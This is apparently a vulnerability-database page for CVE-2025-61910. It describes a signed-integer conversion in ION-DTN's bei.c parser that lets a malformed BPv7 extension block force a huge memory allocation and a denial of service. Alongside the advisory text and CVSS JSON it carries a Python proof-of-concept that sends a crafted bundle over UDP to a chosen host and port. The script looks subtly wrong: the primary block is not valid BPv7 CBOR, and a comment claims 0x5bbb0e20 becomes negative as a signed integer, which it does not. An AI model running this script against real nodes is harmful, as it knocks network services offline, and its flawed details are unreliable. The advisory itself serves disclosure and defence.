Security Vulnerability Report
中文
CVE-2025-61910 CVSS 7.5 HIGH

CVE-2025-61910

Published: 2025-10-07 20:15:36
Last Modified: 2026-04-15 00:35:42

Description

The NASA’s Interplanetary Overlay Network (ION) is an implementation of Delay/Disruption Tolerant Networking (DTN). A BPv7 bundle with a malformed extension block causes uncontrolled memory allocation inside ION-DTN 4.1.3s, leading to receiver thread termination and a Denial-of-Service (DoS). The triggering bundle contains an extension block starting at `0x85070201005bbb0e20b4ea001a000927c0...`. The first byte in the extension block (0x85) indicates a CBOR array of five elements of which the first four are numbers (0x07, 0x02, 0x01, 0x00) but the fifth element is a byte string of length 27 (`0x5bbb0e20b4ea001a000927c0...`). The vulnerability seems to be due to processing the fifth element of the array (i.e., the byte string) as replacing it with a number makes the vulnerability no longer be triggered. While parsing this extension block, ION obtains a very large block length, which in the code in `bei.c`:764) seems to be passed from `blockLength` which is an unsigned int, to a 32 bit signed integer `blkSize`. The unsigned to signed conversion causes `blkSize` to hold the value of -369092043, which is then converted into a 64-bit unsigned value inside `MTAKE(blkSize)`, resulting in an attempt to allocate an unrealistic amount of memory, causing the error. As of time of publication, no known patched versions of BPv7 exist.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

NASA JPL ION-DTN 4.1.3s

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-61910 PoC - NASA ION-DTN BPv7 Malformed Extension Block DoS This PoC constructs a malicious BPv7 bundle with a malformed extension block that triggers uncontrolled memory allocation in ION-DTN 4.1.3s. """ import socket import struct def build_malicious_bpv7_bundle(): """ Build a BPv7 bundle with a malformed extension block. The extension block starts with 0x85 (CBOR array of 5 elements), where the 5th element is a byte string that causes integer overflow when processed by ION-DTN's bei.c parser. """ # Primary block (BPv7) # Version (7), flags, etc. primary_block = b'\x07' # version primary_block += b'\x82' # flags primary_block += b'\x00' * 20 # destination EID primary_block += b'\x00' * 20 # source EID primary_block += b'\x00' * 20 # report-to EID primary_block += b'\x00\x00\x00\x01' # creation timestamp primary_block += b'\x00\x00\x00\x01' # sequence number primary_block += b'\x00\x00\x00\x00' # lifetime primary_block += b'\x01' # block count # Malformed extension block # 0x85 = CBOR array of 5 elements # First 4 elements are numbers: 0x07, 0x02, 0x01, 0x00 # 5th element: byte string of length 27 (0x5bbb0e20b4ea001a000927c0...) extension_block = b'\x85' # CBOR array header (5 elements) extension_block += b'\x07' # element 1: number 7 extension_block += b'\x02' # element 2: number 2 extension_block += b'\x01' # element 3: number 1 extension_block += b'\x00' # element 4: number 0 # Element 5: byte string with value that causes overflow # 0x5b = CBOR byte string (major type 2, additional info 27) extension_block += b'\x5b\xbb\x0e\x20\xb4\xea\x00\x1a\x00\x09\x27\xc0' extension_block += b'\x00' * 16 # padding # Block length that will overflow when cast to signed int block_length = struct.pack('>I', 0x5bbb0e20) # becomes -369092043 as signed bundle = primary_block + extension_block + block_length return bundle def send_bundle(target_host, target_port=4556): """ Send the malicious bundle to the target ION-DTN node. Default DTN BPv7 convergence layer port is 4556. """ bundle = build_malicious_bpv7_bundle() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: sock.sendto(bundle, (target_host, target_port)) print(f"[*] Malicious bundle sent to {target_host}:{target_port}") print(f"[*] Bundle size: {len(bundle)} bytes") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" port = int(sys.argv[2]) if len(sys.argv) > 2 else 4556 send_bundle(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61910", "sourceIdentifier": "[email protected]", "published": "2025-10-07T20:15:35.993", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The NASA’s Interplanetary Overlay Network (ION) is an implementation of Delay/Disruption Tolerant Networking (DTN). A BPv7 bundle with a malformed extension block causes uncontrolled memory allocation inside ION-DTN 4.1.3s, leading to receiver thread termination and a Denial-of-Service (DoS). The triggering bundle contains an extension block starting at `0x85070201005bbb0e20b4ea001a000927c0...`. The first byte in the extension block (0x85) indicates a CBOR array of five elements of which the first four are numbers (0x07, 0x02, 0x01, 0x00) but the fifth element is a byte string of length 27 (`0x5bbb0e20b4ea001a000927c0...`). The vulnerability seems to be due to processing the fifth element of the array (i.e., the byte string) as replacing it with a number makes the vulnerability no longer be triggered. While parsing this extension block, ION obtains a very large block length, which in the code in `bei.c`:764) seems to be passed from `blockLength` which is an unsigned int, to a 32 bit signed integer `blkSize`. The unsigned to signed conversion causes `blkSize` to hold the value of -369092043, which is then converted into a 64-bit unsigned value inside `MTAKE(blkSize)`, resulting in an attempt to allocate an unrealistic amount of memory, causing the error. As of time of publication, no known patched versions of BPv7 exist."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-789"}]}], "references": [{"url": "https://github.com/nasa-jpl/ION-DTN/blob/ion-open-source-4.1.3s/bpv7/library/bei.c#L758-L769", "source": "[email protected]"}, {"url": "https://github.com/nasa-jpl/ION-DTN/security/advisories/GHSA-xm96-38vj-h28h", "source": "[email protected]"}]}}